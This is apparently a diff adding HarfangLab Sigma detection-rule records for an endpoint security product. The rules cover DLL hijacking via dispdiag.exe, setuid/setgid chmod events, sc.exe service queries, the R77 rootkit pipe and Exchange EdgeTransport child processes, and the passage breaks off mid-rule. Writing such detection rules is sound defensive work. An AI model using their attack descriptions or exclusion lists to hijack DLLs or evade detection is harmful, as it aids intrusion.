+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_dispdiag.yml",
+  "content": "title: DLL Hijacking via dispdiag.exe\nid: bef1e86b-dd5e-45e3-b788-14d8427f649c\ndescription: |\n    Detects potential Windows DLL Hijacking via dispdiag.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'dispdiag.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\DEVOBJ.dll'\n            - '\\DXVA2.dll'\n            - '\\WMICLNT.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "bef1e86b-dd5e-45e3-b788-14d8427f649c",
+  "rule_name": "DLL Hijacking via dispdiag.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via dispdiag.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "bf0f60ff-b7cf-45a4-8a3c-fc3c445d0062",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "weak",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-24T07:14:08.587203Z",
+  "creation_date": "2026-03-23T11:45:35.297550Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:35.297554Z",
+  "rule_level": "high",
+  "rule_confidence": "weak",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1548/001/"
+  ],
+  "name": "t1548_001_setuid_setgid.yml",
+  "content": "title: SetUID/SetGID Access Flags Set\nid: bf0f60ff-b7cf-45a4-8a3c-fc3c445d0062\ndescription: |\n    Detects when the setuid and/or setgid access flags are set on a given file.\n    These access flags allow a user to run a binary using the executable's owner or group permissions instead of its own, and can be a means to achieve privilege escalation by a malicious party.\n    It is recommended to analyze the targeted binary as well as the parent process responsible for the setting change and look for privilege escalation and malicious binaries.\nreferences:\n    - https://attack.mitre.org/techniques/T1548/001/\ndate: 2022/11/10\nmodified: 2026/03/23\nauthor: HarfangLab\ntags:\n    - attack.privilege_escalation\n    - attack.defense_evasion\n    - attack.t1548.001\n    - attack.t1222.002\n    - classification.Linux.Source.Filesystem\n    - classification.Linux.Behavior.PrivilegeEscalation\nlogsource:\n    category: filesystem_event\n    product: linux\ndetection:\n    selection:\n        Kind: 'chmod'\n        Mode:\n            - '2???'\n            - '4???'\n            - '6???'\n        Path|startswith:\n            - '/home/'\n            - '/root/'\n            - '/opt/'\n            - '/bin/'\n            - '/sbin/'\n            - '/usr/bin/'\n            - '/usr/sbin/'\n            - '/tmp/'\n            - '/var/tmp/'\n            - '/run/'\n            - '/var/run/'\n            - '/dev/shm/'\n            - '/var/www/'\n\n    filter_directory:\n        Path|endswith: '/'\n\n    filter_recursive:\n        ProcessCommandLine|contains: ' -r '\n\n    exclusion_common:\n        ProcessImage:\n            - '/usr/bin/apptainer'\n            - '/usr/bin/buildah'\n\n    exclusion_dpkg:\n        - ProcessImage: '/usr/bin/dpkg'\n        - ProcessParentImage: '/usr/bin/dpkg'\n        - ProcessGrandparentImage: '/usr/bin/dpkg'\n    exclusion_dpkg_cmds_bin:\n        - ProcessCommandLine|contains: '/usr/bin/dpkg-'\n        - ProcessParentCommandLine|contains: '/usr/bin/dpkg-'\n        - ProcessGrandparentCommandLine|contains: '/usr/bin/dpkg-'\n    exclusion_dpkg_cmds_sbin:\n        - ProcessCommandLine|contains: '/usr/sbin/dpkg-'\n        - ProcessParentCommandLine|contains: '/usr/sbin/dpkg-'\n        - ProcessGrandparentCommandLine|contains: '/usr/sbin/dpkg-'\n        - ProcessGrandparentImage: '/usr/bin/dpkg'\n    exclusion_dpkg_postinstall:\n        - ProcessCommandLine|contains: '/var/lib/dpkg/info/*.postinst configure'\n        - ProcessParentCommandLine|contains: '/var/lib/dpkg/info/*.postinst configure'\n        - ProcessGrandparentCommandLine|contains: '/var/lib/dpkg/info/*.postinst configure'\n    exclusion_apt:\n        - ProcessImage: '/usr/bin/apt'\n        - ProcessParentImage: '/usr/bin/apt'\n        - ProcessGrandparentImage: '/usr/bin/apt'\n        - ProcessAncestors|contains: '|/usr/bin/dpkg|/usr/bin/apt|'\n    exclusion_rpm:\n        ProcessImage: '/usr/bin/rpm'\n    exclusion_yum:\n        - ProcessCommandLine|startswith:\n            - '/usr/bin/python* /bin/yum '\n            - '/usr/bin/python* /usr/bin/yum '\n            - '/usr/bin/python* /usr/sbin/yum-cron'\n            - '/usr/libexec/platform-python /bin/yum '\n            - '/usr/libexec/platform-python /usr/bin/yum '\n            - '/usr/bin/python -Estt /usr/local/psa/bin/yum_install ' # Plesk'\n        - ProcessParentCommandLine|startswith:\n            - '/usr/bin/python* /bin/yum '\n            - '/usr/bin/python* /usr/bin/yum '\n            - '/usr/bin/python* /usr/sbin/yum-cron'\n            - '/usr/libexec/platform-python /bin/yum '\n            - '/usr/libexec/platform-python /usr/bin/yum '\n        - ProcessGrandparentCommandLine|startswith:\n            - '/usr/bin/python* /bin/yum '\n            - '/usr/bin/python* /usr/bin/yum '\n            - '/usr/bin/python* /usr/sbin/yum-cron'\n            - '/usr/libexec/platform-python /bin/yum '\n            - '/usr/libexec/platform-python /usr/bin/yum '\n    exclusion_dnf:\n        - ProcessCommandLine|startswith:\n            - '/usr/libexec/platform-python /bin/dnf '\n            - '/usr/libexec/platform-python /usr/bin/dnf '\n            - '/usr/libexec/platform-python /bin/dnf-automatic '\n            - '/usr/libexec/platform-python /usr/bin/dnf-automatic'\n            - '/usr/bin/python* /bin/dnf'\n            - '/usr/bin/python* /usr/bin/dnf'\n            - 'dnf upgrade'\n            - 'dnf upgrade --refresh'\n            - 'dnf update'\n        - ProcessParentCommandLine|startswith:\n            - '/usr/libexec/platform-python /bin/dnf '\n            - '/usr/libexec/platform-python /usr/bin/dnf '\n            - '/usr/libexec/platform-python /bin/dnf-automatic '\n            - '/usr/libexec/platform-python /usr/bin/dnf-automatic'\n            - '/usr/bin/python* /bin/dnf'\n            - '/usr/bin/python* /usr/bin/dnf'\n            - 'dnf upgrade'\n            - 'dnf upgrade --refresh'\n            - 'dnf update'\n        - ProcessGrandparentCommandLine|startswith:\n            - '/usr/libexec/platform-python /bin/dnf '\n            - '/usr/libexec/platform-python /usr/bin/dnf '\n            - '/usr/libexec/platform-python /bin/dnf-automatic '\n            - '/usr/libexec/platform-python /usr/bin/dnf-automatic'\n            - '/usr/bin/python* /bin/dnf'\n            - '/usr/bin/python* /usr/bin/dnf'\n            - 'dnf upgrade'\n            - 'dnf upgrade --refresh'\n            - 'dnf update'\n    exclusion_pacman:\n        ProcessImage: '/usr/bin/pacman'\n    exclusion_microdnf:\n        ProcessImage: '/usr/bin/microdnf'\n    exclusion_snapd:\n        - ProcessImage:\n            - '/snap/snapd/*/usr/lib/snapd/snapd'\n            - '/snap/core/*/usr/lib/snapd/snapd'\n            - '/usr/lib/snapd/snapd'\n            - '/usr/lib/snapd/snap-update-ns'\n            - '/usr/libexec/snapd/snapd'\n            - '/usr/libexec/snapd/snap-update-ns'\n            - '/snap/snapd/*/usr/lib/snapd/snap-update-ns'\n        - ProcessParentImage:\n            - '/snap/snapd/*/usr/lib/snapd/snapd'\n            - '/snap/core/*/usr/lib/snapd/snapd'\n            - '/usr/lib/snapd/snapd'\n            - '/usr/lib/snapd/snap-update-ns'\n            - '/usr/libexec/snapd/snapd'\n            - '/usr/libexec/snapd/snap-update-ns'\n            - '/snap/snapd/*/usr/lib/snapd/snap-update-ns'\n        - ProcessGrandparentImage:\n            - '/snap/snapd/*/usr/lib/snapd/snapd'\n            - '/snap/core/*/usr/lib/snapd/snapd'\n            - '/usr/lib/snapd/snapd'\n            - '/usr/lib/snapd/snap-update-ns'\n            - '/usr/libexec/snapd/snapd'\n            - '/usr/libexec/snapd/snap-update-ns'\n            - '/snap/snapd/*/usr/lib/snapd/snap-update-ns'\n\n    exclusion_image:\n        ProcessImage:\n            - '/usr/bin/docker'\n            - '/usr/bin/dockerd-ce'\n            - '*/dockerd'\n            - '*/containerd'\n            - '*/containerd-shim-runc-v2'\n            - '/usr/bin/buildkitd'\n            - '/usr/local/lsam-*/bin/chgexec'\n            - '/kaniko/executor'\n            - '/sbin/apk'\n            - '/usr/bin/rsync'\n            - '/usr/bin/tar'\n            - '/usr/bin/nautilus'\n            - '/usr/bin/podman'\n            - '/usr/lib/openssh/sftp-server'\n            - '/usr/bin/cpio'\n            - '/usr/bin/cp'\n            - '/usr/bin/mv'\n            - '/usr/bin/fuse-overlayfs'\n            - '/usr/bin/unsquashfs'\n            - '/usr/bin/bsdtar'\n            - '/usr/bin/systemd-repart'\n            - '/usr/bin/coreutils'\n            - '/opt/cni/bin/install' # k3s calico\n            - '/usr/bin/strip'\n\n    exclusion_postfix:\n        ProcessCommandLine:\n            - 'chmod 2755 /usr/sbin/postqueue'\n            - 'chmod 2755 /usr/sbin/postdrop'\n        ProcessParentCommandLine|contains: '/sh /usr/libexec/postfix/post-install create-missing set-permissions upgrade-configuration '\n    exclusion_initramfs:\n        ProcessImage:\n            - '/usr/bin/strip'\n            - '/usr/bin/cp'\n        ProcessCommandLine|contains: ' /var/tmp/dracut.??????/initramfs/'\n    exclusion_landscape:\n        ProcessParentCommandLine: '/bin/sh /var/lib/dpkg/info/landscape-client.postinst configure'\n\n    exclusion_yocto_sdk:\n        # /opt/yocto/yocto-sdk/sources/poky/buildtools/sysroots/x86_64-pokysdk-linux/usr/bin/x86_64-pokysdk-linux-strip\n        # /opt/yocto/yocto-sdk/build_lx2160acex7/tmp/work/lx2160acex7-fsl-linux/core-image-cmtng/1.0-r0/recipe-sysroot-native/usr/bin/python3-native/python3.8\n        # /opt/yocto/kirkstone/build_lx2160acex7/tmp/work/lx2160acex7-fsl-linux/core-image-louis/1.0-r0/recipe-sysroot-native/usr/bin/dpkg\n        - ProcessImage|startswith: '/opt/yocto/'\n        - Path|startswith: '/opt/yocto/'\n\n    exclusion_puppet:\n        - ProcessImage: '/opt/puppetlabs/puppet/bin/ruby'\n        - ProcessCommandLine|contains: '/usr/bin/puppet agent'\n        - ProcessParentImage: '/opt/puppetlabs/puppet/bin/ruby'\n        - ProcessParentCommandLine|contains: '/usr/bin/puppet agent'\n\n    exclusion_vmware:\n        ProcessCommandLine|contains: 'vmware-install'\n\n    exclusion_file_roller:\n        ProcessImage: '/usr/bin/file-roller'\n        ProcessParentCommandLine|contains: '/lib/systemd/systemd --user'\n\n    exclusion_template_ansible:\n        - ProcessCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/AnsiballZ_*.py'\n        - ProcessParentCommandLine:\n            - '/bin/sh -c /usr/bin/python* && sleep 0'\n            - '/bin/sh -c /usr/libexec/platform-python && sleep 0'\n            - '/bin/sh -c LANG=C /usr/bin/python* && sleep 0'\n            - '/bin/sh -c LANG=C /usr/libexec/platform-python && sleep 0'\n        - ProcessParentCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/ansiballz_*.py'\n            - '/bin/sh -c echo BECOME-SUCCESS-???????????????????????????????? ; '\n        - ProcessGrandparentCommandLine:\n            - '/bin/sh -c /usr/bin/python* && sleep 0'\n            - '/bin/sh -c /usr/libexec/platform-python && sleep 0'\n            - '/bin/sh -c LANG=C /usr/bin/python* && sleep 0'\n            - '/bin/sh -c LANG=C /usr/libexec/platform-python && sleep 0'\n        - ProcessGrandparentCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/ansiballz_*.py'\n            - '/bin/sh -c echo BECOME-SUCCESS-???????????????????????????????? ; '\n        - ProcessGrandparentParentCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/ansiballz_*.py'\n            - '/bin/sh -c echo BECOME-SUCCESS-???????????????????????????????? ; '\n        - ProcessGrandparentGrandparentCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/ansiballz_*.py'\n            - '/bin/sh -c echo BECOME-SUCCESS-???????????????????????????????? ; '\n\n    exclusion_vtom:\n        ProcessCommandLine|contains|all:\n            - 'chmod 4755'\n            - '/opt/vtom'\n        ProcessParentCommandLine|contains: 'install_vtom'\n\n    exclusion_isa:\n        - ProcessParentCommandLine: '/bin/bash /etc/init.d/isa status'\n        - ProcessGrandparentCommandLine: '/bin/bash /etc/init.d/isa status'\n\n    exclusion_k3s_agent:\n        ProcessParentImage:\n            - '/var/lib/rancher/k3s/data/*/bin/k3s'\n            - '/var/lib/rancher/k3s/data/*/bin/containerd'\n            - '/opt/rancher/data/*/bin/k3s'\n\n    exclusion_moodle:\n        Path|startswith:\n            - '/srv/moodle/'\n            - '/var/opt/moodle/'\n\n    exclusion_oc-mirror:\n        ProcessImage|endswith: '/oc-mirror'\n        ProcessCommandLine|contains:\n            - ' --catalog'\n            - ' --config'\n\n    exclusion_opcon_agent:\n        ProcessImage: '/tmp/opcon_agent/bin/chgexec'\n        Path|startswith: '/tmp/opcon_agent/bin/'\n\n    exclusion_netdata:\n        ProcessParentImage: '/opt/netdata/bin/bash'\n        Path|startswith: '/opt/netdata/usr/libexec/netdata/plugins.d/'\n\n    exclusion_dracut:\n        Path|startswith: '/var/tmp/dracut.*/initramfs/usr/bin/'\n\n    exclusion_convert2rhel:\n        ProcessParentCommandLine|startswith:\n            - '/usr/bin/python2 /bin/convert2rhel '\n            - '/usr/bin/python2 /usr/bin/convert2rhel '\n\n    exclusion_bladelogic:\n        Path|startswith: '/opt/bmc/bladelogic/RSCD/'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: high\nconfidence: weak\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "bf0f60ff-b7cf-45a4-8a3c-fc3c445d0062",
+  "rule_name": "SetUID/SetGID Access Flags Set",
+  "rule_description": "Detects when the setuid and/or setgid access flags are set on a given file.\nThese access flags allow a user to run a binary using the executable's owner or group permissions instead of its own, and can be a means to achieve privilege escalation by a malicious party.\nIt is recommended to analyze the targeted binary as well as the parent process responsible for the setting change and look for privilege escalation and malicious binaries.\n",
+  "rule_creation_date": "2022-11-10",
+  "rule_modified_date": "2026-03-23",
+  "rule_os": "linux",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1222.002",
+    "attack.t1548.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "bfa22e53-0d1e-4743-9891-9cc61f48816f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "low",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.605844Z",
+  "creation_date": "2026-03-23T11:45:34.605848Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.605856Z",
+  "rule_level": "low",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://thedfirreport.com/2023/12/18/lets-opendir-some-presents-an-analysis-of-a-persistent-actors-activity/",
+    "https://attack.mitre.org/techniques/T1007/"
+  ],
+  "name": "t1007_sc_query.yml",
+  "content": "title: System Service Discovered via sc.exe\nid: bfa22e53-0d1e-4743-9891-9cc61f48816f\ndescription: |\n    Detects the execution of sc.exe with the 'query' argument.\n    Adversaries can use this command during the discovery phase to list Windows services.\n    It is recommended to analyze the parent process and execution context as well as to correlate this alert with other discovery commands executed around it.\nreferences:\n    - https://thedfirreport.com/2023/12/18/lets-opendir-some-presents-an-analysis-of-a-persistent-actors-activity/\n    - https://attack.mitre.org/techniques/T1007/\ndate: 2022/11/14\nmodified: 2025/02/03\nauthor: HarfangLab\ntags:\n    - attack.discovery\n    - attack.t1007\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.Discovery\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection_bin:\n        - Image|endswith: '\\sc.exe'\n        # Renamed binaries\n        - OriginalFileName: 'sc.exe'\n    selection_cmdline:\n        CommandLine|endswith: ' query'\n\n    exclusion_programfiles:\n        - ParentImage|startswith:\n            - '?:\\Program Files\\'\n            - '?:\\Program Files (x86)\\'\n        - GrandparentImage|startswith:\n            - '?:\\Program Files\\'\n            - '?:\\Program Files (x86)\\'\n\n    exclusion_grangle:\n        ParentImage: '?:\\GRANGLE\\appserver\\tomcat\\\\*\\bin\\tomcat9.exe'\n\n    exclusion_vtom:\n        GrandparentImage: '?:\\VTOM\\ABM\\BIN\\bdaemon.exe'\n\n    # Trouble Shooting Script\n    exclusion_tss:\n        GrandparentCommandLine: '?:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -Command & ??:\\\\*\\TSS\\TSS.ps1? -CollectLog MCM_Report *-NewSession'\n\n    # https://www.mipih.fr/\n    exclusion_cariatides:\n        CurrentDirectory: '?:\\CARIATIDES\\Batchs\\Exploitation\\'\n        GrandparentImage:\n            - '?:\\Windows\\explorer.exe'\n            - '?:\\Windows\\System32\\taskeng.exe'\n            - '?:\\Windows\\System32\\svchost.exe' # C:\\Windows\\system32\\svchost.exe -k netsvcs\n\n    exclusion_trendmicro:\n        ParentCommandLine|startswith:\n            - '?:\\Windows\\system32\\cmd.exe /c startTMSM.bat ?:\\Program Files (x86)\\Trend Micro\\Apex One'\n            - '?:\\Windows\\system32\\cmd.exe /c stopTMSM.bat ?:\\Program Files (x86)\\Trend Micro\\Apex One'\n\n    condition: all of selection_* and not 1 of exclusion_*\nlevel: low\nconfidence: moderate",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "bfa22e53-0d1e-4743-9891-9cc61f48816f",
+  "rule_name": "System Service Discovered via sc.exe",
+  "rule_description": "Detects the execution of sc.exe with the 'query' argument.\nAdversaries can use this command during the discovery phase to list Windows services.\nIt is recommended to analyze the parent process and execution context as well as to correlate this alert with other discovery commands executed around it.\n",
+  "rule_creation_date": "2022-11-14",
+  "rule_modified_date": "2025-02-03",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.discovery"
+  ],
+  "rule_technique_tags": [
+    "attack.t1007"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "bfabd3f1-3818-4b6d-88d8-4d1e42ea105c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.079922Z",
+  "creation_date": "2026-03-23T11:45:34.079924Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.079929Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.elastic.co/security-labs/elastic-security-labs-steps-through-the-r77-rootkit",
+    "https://twitter.com/malmoeb/status/1523179260273254407",
+    "https://github.com/bytecode77/r77-rootkit",
+    "https://attack.mitre.org/techniques/T1014/"
+  ],
+  "name": "t1014_r77_named_pipes_created.yml",
+  "content": "title: Named Pipe Created linked to R77 Rootkit\nid: bfabd3f1-3818-4b6d-88d8-4d1e42ea105c\ndescription: |\n    Detects connection to a Named Pipe pertaining to the R77 ring3 rootkit.\n    R77 is an open source userland rootkit that is being used to hide the presence of other software on a system by hooking multiple Windows APIs.\n    It is recommended to investigate the process that created the named pipe to determine its legitimacy.\nreferences:\n    - https://www.elastic.co/security-labs/elastic-security-labs-steps-through-the-r77-rootkit\n    - https://twitter.com/malmoeb/status/1523179260273254407\n    - https://github.com/bytecode77/r77-rootkit\n    - https://attack.mitre.org/techniques/T1014/\ndate: 2022/07/18\nmodified: 2025/01/17\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1014\n    - attack.execution\n    - attack.t1106\n    - attack.t1559\n    - classification.Windows.Source.NamedPipe\n    - classification.Windows.Rootkit.R77\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    category: named_pipe_creation\n    product: windows\ndetection:\n    selection:\n        PipeName: '\\$77control'\n\n    condition: selection\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "bfabd3f1-3818-4b6d-88d8-4d1e42ea105c",
+  "rule_name": "Named Pipe Created linked to R77 Rootkit",
+  "rule_description": "Detects connection to a Named Pipe pertaining to the R77 ring3 rootkit.\nR77 is an open source userland rootkit that is being used to hide the presence of other software on a system by hooking multiple Windows APIs.\nIt is recommended to investigate the process that created the named pipe to determine its legitimacy.\n",
+  "rule_creation_date": "2022-07-18",
+  "rule_modified_date": "2025-01-17",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1014",
+    "attack.t1106",
+    "attack.t1559"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "c00b65da-0ebe-48ef-a6ac-e68f0dac4cc9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.075693Z",
+  "creation_date": "2026-03-23T11:45:34.075695Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.075700Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.welivesecurity.com/wp-content/uploads/2019/05/ESET-LightNeuron.pdf",
+    "https://speakerdeck.com/heirhabarov/hunting-for-persistence-via-microsoft-exchange-server-or-outlook",
+    "https://attack.mitre.org/techniques/T1505/002/"
+  ],
+  "name": "t1505_002_edgetransport_spawning_dangerous_processes.yml",
+  "content": "title: Process Started by Microsoft Exchange EdgeTransport.exe\nid: c00b65da-0ebe-48ef-a6ac-e68f0dac4cc9\ndescription: |\n    Detects a process being spawned by EdgeTransport.exe.\n    Attackers can install malicious TransportAgents in an compromised Exchange server. If this malicious TransportAgent spawns processes, it will spawn them under EdgeTransport.exe.\n    Attackers can use this technique to achieve persistence on an Exchange server by installing a malicious DLL as a new TransportAgent.\n    The malicious DLL also has access to emails transiting through the Exchange, and can also act as a command and control component.\n    It is recommended to investigate the process started by EdgeTransport.exe to look for malicious content as well as the recent suspicious installation of new Exchange transport agents.\nreferences:\n    - https://www.welivesecurity.com/wp-content/uploads/2019/05/ESET-LightNeuron.pdf\n    - https://speakerdeck.com/heirhabarov/hunting-for-persistence-via-microsoft-exchange-server-or-outlook\n    - https://attack.mitre.org/techniques/T1505/002/\ndate: 2022/11/08\nmodified: 2025/10/20\nauthor: HarfangLab\ntags:\n    - attack.persistence\n    - attack.t1505.002\n    - attack.command_and_control\n    - attack.t1071.003\n    - attack.t1104\n    - attack.defense_evasion\n    - attack.t1546.008\n    - attack.collection\n    - attack.t1114.002\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.Persistence\nlogsource:\n    product: windows\n    category: process_creation\ndetection:\n    selection:\n        ParentImage|endswith: '\\EdgeTransport.exe'\n\n    filter_edge:\n        Image|endswith: '\\EdgeTransport.exe'\n        Signed: 'true'\n        Signature: 'Microsoft Corporation'\n\n    exclusion_conhost:\n        Image: '?:\\Windows\\System32\\conhost.exe'\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n\n    exclusion_werfault:\n        Image: '?:\\Windows\\System32\\WerFault.exe'\n        CommandLine|contains: '\\WerFault.exe -u -p '\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n\n    exclusion_wermgr:\n        Image: '?:\\Windows\\System32\\wermgr.exe'\n        CommandLine|startswith: '?:\\Windows\\system32\\wermgr.exe -outproc '\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n\n    exclusion_oleconverter:\n        OriginalFileName: 'OLECONVERTER.EXE'\n        Signed: 'true'\n        Signature: 'Microsoft Corporation'\n\n    exclusion_rmactivate:\n        OriginalFileName: 'rmactivate_ssp.exe'\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n\n    exclusion_crossware:\n        Image: '?:\\Program Files\\CrosswareMailSignature\\esig.exe'\n\n    exclusion_csc:\n        Image: '?:\\Windows\\Microsoft.NET\\Framework64\\v*\\csc.exe'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: 